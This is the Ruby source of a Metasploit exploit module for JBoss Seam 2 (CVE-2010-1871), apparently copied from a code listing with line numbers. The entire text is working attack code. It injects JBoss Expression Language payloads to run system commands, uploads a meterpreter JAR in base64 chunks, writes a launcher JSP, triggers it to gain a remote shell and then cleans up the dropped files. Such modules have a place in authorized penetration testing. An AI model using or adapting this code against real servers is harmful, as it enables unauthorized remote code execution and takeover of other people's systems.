1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 |
# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name'=> 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ Versions of the JBoss Seam 2 framework< 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions.As a result, attackers can gain remote code execution through the application server.This module leverages RCE to upload and execute a meterpreter payload. Versions of the JBoss AS admin-console are known to be vulnerable to this exploit, without requiring authentication.Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. This module provides a more efficient method of exploitation - it does not loop to find desired Java classes and methods. NOTE: the check for upload success is not 100% accurate. NOTE 2: The module uploads the meterpreter JAR and a JSP to launch it. }, 'Author'=> [ 'vulp1n3 <vulp1n3[at]gmail.com>' ], 'References'=> [ # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs ['CVE', '2010-1871'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform'=> %w{ java }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('AGENT',[ true,"User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), OptString.new('CTYPE',[ true,"Content-Type to send with requests", "application/x-www-form-urlencoded"]), OptString.new('TARGETURI',[ true,"URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME',[ false,"Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ], self.class) end def check vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method'=> 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) vprint_debug("Server sent a 302 with location") if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) report_vuln({ :host => rhost, :port => rport, :name => "#{self.name} - #{uri}", :refs => self.references, :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end # If we reach this point, we didn't find the service return Exploit::CheckCode::Unknown end def execute_cmd(cmd) cmd_to_run = Rex::Text.uri_encode(cmd) vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method'=> 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) vprint_status("#{rhost}:#{rport} Exploit successful") else vprint_status("#{rhost}:#{rport} Exploit failed.") end else vprint_status("#{rhost}:#{rport} Exploit failed.") end end def call_jsp(jspname) # TODO ugly way to strip off last resource on a path uri = target_uri.path *keep,ignore = uri.split(/\//) keep.push(jspname) uri = keep.join("/") uri = "/" + uri if (uri[0] != "/") res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method'=> 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) vprint_status("Successful request to JSP") else vprint_error("Failed to request JSP") end end def upload_jsp(filename,jarname) jsp_text = <<EOJSP <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP vprint_status("Uploading JSP to launch payload") status = upload_file_chunk(filename,'false',jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else vprint_error("Failed to upload file.") end @pl_sent = true end def upload_file_chunk(filename, append='false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) b64 = b64.gsub("+","%2b") b64 = b64.gsub("/","%2f") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method'=> 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # TODO Including the conversationId part in this regex might cause # failure on other Seam applications.Needs more testing if (res.headers['Location'] =~ %r(user=&conversationId)) #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end end def get_full_path(filename) #vprint_debug("Trying to find full path for #{filename}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method'=> 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file matches = /.*user=(.+)\&.*/.match(res.headers['Location']) #vprint_debug("Location is " + res.headers['Location']) if (matches and matches.captures) return Rex::Text::uri_decode(matches.captures[0]) else return nil end else return nil end end def java_stager(fname, chunk_size) @payload_exe = fname + ".jar" jsp_name = fname + ".jsp" #data = payload.encoded_jar.pack data = payload.encoded_jar.pack append = 'false' while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status vprint_debug("Uploaded chunk") else vprint_error("Failed to upload chunk") break end data = data[chunk_size, data.length - chunk_size] # first chunk is an overwrite, afterwards, we need to append append = 'true' end status = upload_file_chunk(@payload_exe, 'true', data) if status vprint_status("Payload uploaded to " + @payload_exe) else vprint_error("Failed to upload file.") end # write a JSP that can call the payload in the jar upload_jsp(jsp_name, @payload_exe) pe_path = get_full_path(@payload_exe) || @payload_exe jsp_path = get_full_path(jsp_name) || jsp_name # try to clean up our stuff; register_files_for_cleanup(pe_path, jsp_path) # call the JSP to launch the payload call_jsp(jsp_name) end def exploit @pl_sent = false if check == Exploit::CheckCode::Vulnerable fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) vprint_error("Invalid chunk size #{chunk_size}") return end vprint_debug("Sending in chunks of #{chunk_size}") case target['Platform'] when 'java' java_stager(fname, chunk_size) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler end end end |